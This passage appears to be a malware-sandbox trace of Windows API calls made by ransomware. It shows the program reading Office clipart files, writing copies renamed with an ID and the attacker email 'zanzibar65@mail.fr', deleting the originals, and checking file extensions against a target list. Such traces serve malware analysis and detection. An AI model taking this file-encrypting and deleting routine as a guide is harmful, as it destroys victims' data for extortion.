files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0056.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0056.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0056.774] lstrlenW (lpString=".doc") returned 4 [0056.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.774] lstrlenW (lpString=".docx") returned 5 [0056.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.775] lstrlenW (lpString=".pdf") returned 4 [0056.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.775] lstrlenW (lpString=".xls") returned 4 [0056.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.775] lstrlenW (lpString=".xlsx") returned 5 [0056.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.775] lstrlenW (lpString=".ppt") returned 4 [0056.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0056.775] lstrlenW (lpString=".zip") returned 4 [0056.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.775] lstrlenW (lpString=".rar") returned 4 [0056.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.775] lstrlenW (lpString=".bz2") returned 4 [0056.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.775] lstrlenW (lpString=".7z") returned 3 [0056.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0056.775] lstrlenW (lpString=".dbf") returned 4 [0056.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0056.775] lstrlenW (lpString=".1cd") returned 4 [0056.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0056.775] lstrlenW (lpString=".jpg") returned 4 [0056.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.776] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.776] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.776] GetLastError () returned 0x0 [0056.776] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xa54, lpOverlapped=0x0) returned 1 [0056.780] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa60, lpOverlapped=0x0) returned 1 [0056.781] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.781] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.781] SetEndOfFile (hFile=0x220) returned 1 [0056.781] CloseHandle (hObject=0x220) returned 1 [0056.781] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.781] SetEndOfFile (hFile=0x194) returned 1 [0056.782] CloseHandle (hObject=0x194) returned 1 [0056.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0056.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0056.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0056.783] lstrlenW (lpString=".doc") returned 4 [0056.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.783] lstrlenW (lpString=".docx") returned 5 [0056.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.783] lstrlenW (lpString=".pdf") returned 4 [0056.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.783] lstrlenW (lpString=".xls") returned 4 [0056.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.783] lstrlenW (lpString=".xlsx") returned 5 [0056.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.783] lstrlenW (lpString=".ppt") returned 4 [0056.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0056.783] lstrlenW (lpString=".zip") returned 4 [0056.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.783] lstrlenW (lpString=".rar") returned 4 [0056.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.783] lstrlenW (lpString=".bz2") returned 4 [0056.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.783] lstrlenW (lpString=".7z") returned 3 [0056.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0056.783] lstrlenW (lpString=".dbf") returned 4 [0056.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0056.784] lstrlenW (lpString=".1cd") returned 4 [0056.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0056.784] lstrlenW (lpString=".jpg") returned 4 [0056.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.784] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.784] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0056.784] GetLastError () returned 0x0 [0056.784] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1498, lpOverlapped=0x0) returned 1 [0056.786] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0056.787] ReadFile (in: hFile=0x194, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.788] WriteFile (in: hFile=0x220, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.788] SetEndOfFile (hFile=0x220) returned 1 [0056.788] CloseHandle (hObject=0x220) returned 1 [0056.788] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.788] SetEndOfFile (hFile=0x194) returned 1 [0056.789] CloseHandle (hObject=0x194) returned 1 [0056.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0056.789] lstrlenW (lpString=".doc") returned 4 [0056.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.789] lstrlenW (lpString=".docx") returned 5 [0056.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.789] lstrlenW (lpString=".pdf") returned 4 [0056.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.789] lstrlenW (lpString=".xls") returned 4 [0056.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.789] lstrlenW (lpString=".xlsx") returned 5 [0056.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.790] lstrlenW (lpString=".ppt") returned 4 [0056.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0056.790] lstrlenW (lpString=".zip") returned 4 [0056.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.790] lstrlenW (lpString=".rar") returned 4 [0056.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.790] lstrlenW (lpString=".bz2") returned 4 [0056.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.790] lstrlenW (lpString=".7z") returned 3 [0056.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0056.790] lstrlenW (lpString=".dbf") returned 4 [0056.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0056.790] lstrlenW (lpString=".1cd") returned 4 [0056.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0056.790] lstrlenW (lpString=".jpg") returned 4 [0056.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.792] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.792] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0056.792] GetLastError () returned 0x0 [0056.792] ReadFile (in: hFile=0x220, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0056.794] WriteFile (in: hFile=0x254, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0056.795] ReadFile (in: hFile=0x220, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.795] WriteFile (in: hFile=0x254, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.795] SetEndOfFile (hFile=0x254) returned 1 [0056.795] CloseHandle (hObject=0x254) returned 1 [0056.795] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.795] SetEndOfFile (hFile=0x220) returned 1 [0056.796] CloseHandle (hObject=0x220) returned 1 [0056.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0056.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0056.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0056.797] lstrlenW (lpString=".doc") returned 4 [0056.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString=".docx") returned 5 [0056.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.797] lstrlenW (lpString=".pdf") returned 4 [0056.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString=".xls") returned 4 [0056.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.797] lstrlenW (lpString=".xlsx") returned 5 [0056.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.797] lstrlenW (lpString=".ppt") returned 4 [0056.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0056.797] lstrlenW (lpString=".zip") returned 4 [0056.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.797] lstrlenW (lpString=".rar") returned 4 [0056.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString=".bz2") returned 4 [0056.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString=".7z") returned 3 [0056.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0056.797] lstrlenW (lpString=".dbf") returned 4 [0056.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0056.797] lstrlenW (lpString=".1cd") returned 4 [0056.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0056.797] lstrlenW (lpString=".jpg") returned 4 [0056.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.798] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.798] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0056.798] GetLastError () returned 0x0 [0056.798] ReadFile (in: hFile=0x220, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xec4, lpOverlapped=0x0) returned 1 [0056.906] WriteFile (in: hFile=0x254, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xed0, lpOverlapped=0x0) returned 1 [0056.906] ReadFile (in: hFile=0x220, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.906] WriteFile (in: hFile=0x254, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.907] SetEndOfFile (hFile=0x254) returned 1 [0056.907] CloseHandle (hObject=0x254) returned 1 [0056.907] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.907] SetEndOfFile (hFile=0x220) returned 1 [0056.908] CloseHandle (hObject=0x220) returned 1 [0056.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0057.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0057.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0057.500] lstrlenW (lpString=".doc") returned 4 [0057.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.500] lstrlenW (lpString=".docx") returned 5 [0057.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.500] lstrlenW (lpString=".pdf") returned 4 [0057.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.500] lstrlenW (lpString=".xls") returned 4 [0057.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.500] lstrlenW (lpString=".xlsx") returned 5 [0057.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.500] lstrlenW (lpString=".ppt") returned 4 [0057.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0057.500] lstrlenW (lpString=".zip") returned 4 [0057.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.500] lstrlenW (lpString=".rar") returned 4 [0057.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.500] lstrlenW (lpString=".bz2") returned 4 [0057.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.500] lstrlenW (lpString=".7z") returned 3 [0057.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0057.501] lstrlenW (lpString=".dbf") returned 4 [0057.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0057.501] lstrlenW (lpString=".1cd") returned 4 [0057.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0057.501] lstrlenW (lpString=".jpg") returned 4 [0057.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.673] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.673] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.674] GetLastError () returned 0x0 [0058.674] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0058.677] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0058.679] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.679] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.679] SetEndOfFile (hFile=0x22c) returned 1 [0058.679] CloseHandle (hObject=0x22c) returned 1 [0058.679] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.679] SetEndOfFile (hFile=0x258) returned 1 [0058.680] CloseHandle (hObject=0x258) returned 1 [0058.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0058.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.681] lstrlenW (lpString=".doc") returned 4 [0058.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.681] lstrlenW (lpString=".docx") returned 5 [0058.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.681] lstrlenW (lpString=".pdf") returned 4 [0058.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.681] lstrlenW (lpString=".xls") returned 4 [0058.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.681] lstrlenW (lpString=".xlsx") returned 5 [0058.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.681] lstrlenW (lpString=".ppt") returned 4 [0058.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.681] lstrlenW (lpString=".zip") returned 4 [0058.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.681] lstrlenW (lpString=".rar") returned 4 [0058.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.681] lstrlenW (lpString=".bz2") returned 4 [0058.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.681] lstrlenW (lpString=".7z") returned 3 [0058.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.681] lstrlenW (lpString=".dbf") returned 4 [0058.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.682] lstrlenW (lpString=".1cd") returned 4 [0058.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0058.682] lstrlenW (lpString=".jpg") returned 4 [0058.682] lstrcmpiW (lpString1=".jpg", 